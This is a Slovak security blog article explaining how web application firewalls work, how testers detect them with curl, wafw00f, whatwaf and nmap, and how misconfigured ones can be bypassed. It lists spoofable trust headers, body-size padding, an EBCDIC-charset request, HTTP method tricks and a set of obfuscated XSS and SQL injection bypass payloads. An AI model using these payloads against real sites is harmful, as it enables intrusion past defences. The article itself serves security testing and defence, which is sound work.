Web Application Firewall očami bezpečnostného výskumníka

Web Application Firewall predstavuje dôležitú ochrannú vrstvu webových aplikácií. Z pohľadu bezpečnostného testovania je však potrebné porozumieť jeho správaniu, možnostiam a obmedzeniam, aby bolo možné efektívne identifikovať potenciálne slabé miesta pri nesprávnej konfigurácii. WAF vie efektívne zastaviť automatické skenery a výrazne skomplikovať testovanie, no v praxi nebýva bezchybný. V článku sa venujeme praktickému pohľadu na správanie WAF v rámci bezpečnostného testovania, vrátane situácií, kde jeho ochranné mechanizmy nemusia fungovať úplne ideálne.

Ako funguje Web Application Firewall (WAF)?

Web Application Firewall (WAF) je bezpečnostný mechanizmus určený na ochranu webových aplikácií pred útokmi prichádzajúcimi z internetu. Funguje ako ochranná vrstva medzi používateľom a webovým serverom, cez ktorú prechádza každá prichádzajúca požiadavka. WAF túto prevádzku analyzuje a na základe definovaných bezpečnostných pravidiel rozhoduje, či je požiadavka legitímna a bude povolená, alebo či predstavuje hrozbu a bude zablokovaná, prípadne zaznamenaná na ďalšiu analýzu.

Hlavnou úlohou WAF je ochrana webových aplikácií pred útokmi na aplikačnej vrstve, medzi ktoré patria napríklad SQL injection, cross-site scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI) a ďalšie podobné techniky. Týmto spôsobom WAF výrazne znižuje riziko kompromitácie webovej aplikácie a prispieva k zvýšeniu jej celkovej bezpečnosti.

Pri vyhodnocovaní požiadaviek WAF berie do úvahy nielen známe znaky útokov, ale aj bežné správanie webovej aplikácie. Vďaka tomu dokáže včas odhaliť škodlivé pokusy o útok bez toho, aby zbytočne obmedzoval legitímnych používateľov. V praxi sa preto často využíva kombinácia viacerých ochranných mechanizmov, ktoré zabezpečujú účinnú ochranu pri zachovaní funkčnosti aplikácie.

Okrem ochrany pred útokmi môže WAF uplatňovať aj prístupové obmedzenia, napríklad povolenie prístupu len z vybraných IP adries alebo geografických oblastí. Zároveň pomáha chrániť aplikáciu pred zahltením veľkým množstvom požiadaviek, čím prispieva k zachovaniu jej dostupnosti pre bežných používateľov.

Detekcia prítomnosti WAF v praxi

Manuálna detekcia

Manuálna detekcia Web Application Firewallu (WAF) je proces, pri ktorom sa ručne testuje správanie webovej aplikácie s cieľom zistiť, či je chránená bezpečnostným mechanizmom. Tento prístup je založený na cielene vytvorených HTTP požiadavkách a následnej analýze odpovedí servera. Sledujú sa najmä stavové kódy, HTTP hlavičky, obsah odpovede a čas spracovania požiadavky.

Jedným zo spôsobov, ako overiť prítomnosť Web Application Firewallu, je pozorovanie reakcie aplikácie na neštandardný alebo testovací vstup v HTTP požiadavke, napríklad pri práci s URL parametrami. Ak je WAF nasadený, môže dôjsť k zmene správania aplikácie a namiesto štandardného obsahu stránky sa zobrazí informačná alebo chybová odpoveď generovaná ochranným mechanizmom.

Takéto odpovede majú často charakteristický vzhľad alebo text, ktorý je typický pre konkrétne WAF riešenie. Porovnaním tejto stránky s verejne dostupnými príkladmi je v niektorých prípadoch možné určiť, aký typ WAF je použitý.

Predvolená stránka WAF riešenia
Predvolená stránka WAF riešenia

Ďalším indikátorom prítomnosti WAF je analýza HTTP hlavičiek v odpovedi servera. Niektoré firewally pridávajú vlastné hlavičky, ktoré môžu priamo alebo nepriamo prezrádzať ich prítomnosť. Príkladom sú hlavičky obsahujúce názov poskytovateľa ochrany alebo jedinečné identifikátory požiadaviek. Rovnako je možné pozorovať cookies, ktoré webová aplikácia bežne nepoužíva a ktoré slúžia na sledovanie alebo filtrovanie klientov.

┌──(root㉿kali)-[~]
└─# curl -I "https://aricoma.com/?url=%3Cscript%3Ealert()%3C/script%3E"
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Mime-Version: 1.0
Content-Type: text/html
Content-Length: 364
Date: Tue, 27 Jan 2026 19:03:41 GMT
Connection: close
Strict-Transport-Security: max-age=15768000
X-AK-Cache: Error from child
Permissions-Policy: interest-cohort=()

Manuálna detekcia môže zahŕňať aj opakované odosielanie väčšieho počtu požiadaviek v krátkom časovom intervale. Ak web po určitom počte požiadaviek začne vracať chybové odpovede alebo dočasne blokuje prístup, môže to naznačovať aktiváciu ochrany proti nadmernému zaťaženiu, ktorá je často súčasťou WAF riešení.

Automatizovaná detekcia

Automatizovaná detekcia je založená na využívaní špecializovaných nástrojov, ako sú wafw00f, NSE skripty v rámci nástroja nmap, WhatWeb a ďalšie podobné riešenia. Tieto nástroje analyzujú správanie webového servera, porovnávajú získané odpovede so známymi signatúrami a vykonávajú takzvaný fingerprinting. Na základe tejto analýzy následne poskytujú informácie o prítomnosti webového aplikačného firewallu, ako aj o jeho konkrétnom type.

Detekcia pomocou nástroja wafw00f

wafw00f je open-source nástroj napísaný v jazyku Python, ktorý sa používa na detekciu a identifikáciu Web Application Firewallu. Jeho úlohou je zistiť, či je webová aplikácia chránená WAF riešením a aj určiť konkrétny typ použitej ochrany.

Výstup z nástroja wafw00f
Výstup z nástroja wafw00f

Detekcia pomocou nástroj whatwaf

Okrem samotného zistenia prítomnosti WAF dokáže nástroj WhatWaf analyzovať aj jeho správanie. Pri tejto analýze používa rôzne upravené vstupy, ktorých cieľom je overiť, ako WAF reaguje na neštandardné alebo podozrivé požiadavky. Na základe odpovedí webového servera je potom možné posúdiť, aký účinný je nasadený WAF a či sa v jeho ochrane nenachádzajú slabšie miesta, ktoré by mohli viesť k jeho obídeniu.

Výstup z nástroja whatwaf
Výstup z nástroja whatwaf

Detekcia pomocou nástroja NMAP

Nmap je open-source nástroj určený na mapovanie sietí a vykonávanie bezpečnostných auditov. Používa sa najmä na zisťovanie otvorených portov, bežiacich služieb a ďalších základných informácií o cieľových systémoch. Okrem základnej sieťovej analýzy dokáže Nmap pomocou špeciálnych skriptov, ako sú http-waf-detect a http-waf-fingerprint, identifikovať aj prítomnosť Web Application Firewallu a v niektorých prípadoch určiť aj jeho konkrétny typ.

Riziká pri nesprávnej konfigurácii WAF

Web Application Firewall výrazne zvyšuje bezpečnosť webových aplikácií, no ani on nie je bez chýb. Pri nesprávnej konfigurácii alebo v okrajových prípadoch sa môžu objaviť situácie, kde jeho ochrana nie je dostatočná. Táto časť sa zameriava na situácie, v ktorých ochranné mechanizmy WAF nemusia fungovať ideálne, a vysvetľuje, prečo by WAF nemal byť považovaný za jedinú vrstvu ochrany webovej aplikácie.

Dôvera v HTTP hlavičky

Pri spracovaní HTTP požiadaviek sa Web Application Firewall často opiera aj o informácie uvedené v hlavičkách. Ak ich berie ako automaticky spoľahlivé, môže sa stať, že požiadavku vyhodnotí ako pochádzajúcu z dôveryhodného zdroja, hoci v skutočnosti taká nie je. Typicky ide o situácie, keď WAF predpokladá, že požiadavka prišla z interného prostredia, z povolenej IP adresy.

V niektorých prípadoch môžu byť tieto hlavičky nastavené tak, aby naznačovali, že požiadavka pochádza napríklad z lokálnej siete alebo z iného dôveryhodného zdroja. Ak WAF tieto informácie neoveruje dostatočne dôsledne, môže dôjsť k nesprávnemu vyhodnoteniu požiadavky.

Medzi často používané HTTP hlavičky patria:

  • X-Originating-IP
  • X-Forwarded-For
  • X-Remote-IP
  • X-Remote-Addr
  • X-Client-IP

Riziká pri spracovaní veľkého objemu dát vo WAF

Slabina mnohých Web Application Firewallov spočíva v ich obmedzenej schopnosti kontrolovať celé telo požiadavky. Ak veľkosť tela požiadavky pri metódach ako POST, PUT alebo PATCH presiahne nastavený limit, WAF sa zameria len na časť obsahu, ktorú stihne analyzovať, a zvyšok požiadavky pošle ďalej bez ďalšieho overovania.

Orientačné limity kontroly tela HTTP požiadavky:

Uvedené limity vychádzajú z verejne dostupnej dokumentácie a technických materiálov jednotlivých výrobcov WAF riešení. Keďže konkrétne hodnoty a správanie Web Application Firewallu sa môžu líšiť v závislosti od konfigurácie, verzie produktu, licenčného modelu a prostredia, sú tieto údaje v článku uvedené len orientačne. Zároveň platí, že dokumentácia jednotlivých výrobcov sa môže v čase meniť a aktualizovať.

Existuje rozšírenie pre nástroj Burp Suite s názvom nowafpls, ktoré sa používa pri bezpečnostnom testovaní webových aplikácií. Jeho úlohou je automaticky doplniť do HTTP požiadavky väčšie množstvo „výplňových“ dát, aby sa otestovalo, ako sa webový aplikačný firewall správa pri spracovaní veľkých požiadaviek. Nástroj si sám rozpozná, aký typ dát sa v požiadavke nachádza, a podľa toho zvolí vhodný spôsob doplnenia obsahu.

  • Pri XML požiadavkách pridá komentár
  • Pri JSON formáte doplní ďalší parameter s hodnotou
  • Pri URL-encoded požiadavkách doplní ďalší parameter s hodnotou

Príklad vloženia výplňového parametra wafbypass a dát do HTTP požiadavky:

Príklad vloženia veľkého množstva vyplňujúcich dát
Príklad vloženia veľkého množstva vyplňujúcich dát

Zmena charsetu v Content-Type hlavičke

Táto technika obchádzania WAF je založená na manipulácii s HTTP hlavičkou Content-Type a použití menej bežných znakových kódovaní. Web Application Firewally, ktoré fungujú najmä na princípe blacklistov a signatúr, často analyzujú obsah požiadaviek iba v štandardných kódovaniach, ako je UTF-8. Ak je však požiadavka odoslaná s iným charsetom, ktorý WAF nepozná alebo nespracúva správne, môže dôjsť k tomu, že škodlivý obsah nebude detegovaný.

Útočník môže payload, napríklad SQL injection alebo XSS kód, zakódovať pomocou netradičného znakového kódovania, ako je ibm037 alebo iné EBCDIC kódovania. WAF takýto obsah nemusí rozpoznať ako nebezpečný, no backendová aplikácia ho po dekódovaní spracuje správne, čím sa útok úspešne vykoná.

example_code

Takto zakódovaný obsah je možné odoslať v tele HTTP požiadavky, pričom v hlavičke Content-Type je explicitne uvedený použitý charset:

POST /comment/post HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 85

%89%84=L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3nv

Je potrebné zdôrazniť, že pri použití týchto znakových kódovaní by sa znaky rovná sa (=) a (&) nemali kódovať, keďže majú v HTTP požiadavkách špeciálny význam.

Manipulácia s HTTP metódami

V niektorých prípadoch je možné obísť ochranu WAF už jednoduchou zmenou HTTP metódy. Namiesto bežne používanej metódy GET je možné použiť neštandardnú alebo neexistujúcu metódu, napríklad TestingWafBypass, prípadne zmeniť metódu POST na GET. Ak WAF kontroluje iba vybrané HTTP metódy, môže takáto zmena viesť k tomu, že požiadavka nebude správne analyzovaná.

Techniky obfuskácie a kódovania

Mnohé implementácie Web Application Firewallov (WAF) využívajú na identifikáciu škodlivých vstupov detekciu založenú na regulárnych výrazoch (regex). Tieto mechanizmy sú navrhnuté tak, aby zachytávali známe signatúry útokov, ako sú Cross-Site Scripting (XSS), SQL Injection alebo path traversal. Hoci je tento prístup účinný proti základným formám útokov, jeho spoľahlivosť je výrazne závislá od kvality a komplexnosti použitých pravidiel.

Zmena veľkosti písmen (Case toggling)

<sCrIpT>alert(XSS)</sCriPt>

Medzery a formátovanie

<img/src=1/onerror=alert(0)>

Použitie menej bežných tagov a atribútov

<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE>

Kódovanie payloadov

  • URL encoding:

<a src="%3Aconfirm(XSS)">

  • HTML entity encoding:

&#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;

  • Base64 encoding:

data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+

  • Double URL encoding:

%253Cscript%253Econfirm()%253C%252Fscript%253E

  • Oktálové kódovanie:

Javascript:74163166147401571561541571411447514115414516216450615176

Vkladanie nadbytočných znakov

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a>

Null byte

<scri%00pt>alert(1)</scri%00pt>

Vkladanie riadkových zalomení

<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">

Unicode technika

<marquee onstart=\u0070r\u06f\u006dpt()>

Používanie komentárov

/?id=1+un/**/ion+sel/**/ect+1,2,3—

Double tag bypass

<scri<script>pt>alert()</scr</scrpt>ipt>

Ďalšie príklady payloadov, ako aj rôzne techniky obfuskácie a kódovania, je možné nájsť v otvorených komunitných zdrojoch, ako sú Payloads All The Things,WAF-Bypass a Awesome-WAF. Tieto zdroje slúžia ako rozsiahle databázy praktických príkladov využívaných pri bezpečnostnom testovaní webových aplikácií a obchádzaní WAF riešení

Záver

Web Application Firewall je dnes dôležitou súčasťou ochrany webových aplikácií a v mnohých prípadoch dokáže úspešne zastaviť bežné útoky aj automatizované skenovanie. Z pohľadu bezpečnostného výskumníka alebo penetračného testera však nejde o neprekonateľnú ochranu, ale skôr o ďalšiu bezpečnostnú vrstvu, ktorej správanie je potrebné pochopiť.

Ako bolo v článku ukázané, účinnosť WAF výrazne závisí od toho, ako je nastavený, aké pravidlá používa a ako si poradí s rôznymi typmi vstupov. Pri nesprávnej konfigurácii alebo v okrajových prípadoch sa môžu objaviť slabiny, ktoré umožňujú ochranu obísť alebo oslabiť.

Z toho vyplýva, že Web Application Firewall by nemal byť vnímaný ako jediná línia obrany, ale skôr ako jedna z viacerých bezpečnostných vrstiev, ktorá dopĺňa pravidelné penetračné testovanie a ostatné bezpečnostné opatrenia.

Další Autorovy Články

[]Bug bounty: trpezlivosť ako zbraň